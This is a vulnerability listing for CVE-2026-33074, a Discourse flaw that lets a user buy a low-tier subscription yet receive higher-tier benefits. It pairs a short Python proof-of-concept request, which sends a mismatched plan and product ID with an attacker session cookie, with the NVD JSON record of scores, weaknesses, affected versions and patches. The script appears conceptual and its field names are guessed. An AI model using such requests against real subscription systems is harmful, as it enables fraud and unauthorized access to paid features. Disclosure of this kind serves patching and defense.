CVE-2026-33074

import requests # Conceptual Proof of Concept for CVE-2026-33074 # This script demonstrates how a user might attempt to purchase a low-tier plan # while requesting high-tier benefits due to the logic flaw. target_url = "https://example.com/subscriptions" # Attacker's session cookie session_cookie = "_forum_session=attacker_session_id_here" # The payload contains the low-cost plan ID but requests high-tier features # Exploiting the lack of server-side validation between plan and benefits payload = { "subscription[plan_id]": "basic_plan_5_usd", "subscription[product_id]": "premium_product_all_access" } headers = { "Cookie": session_cookie, "Content-Type": "application/json", "X-CSRF-Token": "valid_csrf_token_here" } try: # Send the purchase request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Request sent successfully.") print("[+] Check account to verify if premium features were granted.") print(response.text) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33074", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:51.963", "lastModified": "2026-04-09T15:50:09.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, a user may be able to purchase a lower tier subscription but grant themselves the benefits that comes along with a higher tier subscription. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/c34f2aac8dcd1ae2886fa84256f607bc003f9d80", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-9vg5-mp49-xghh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}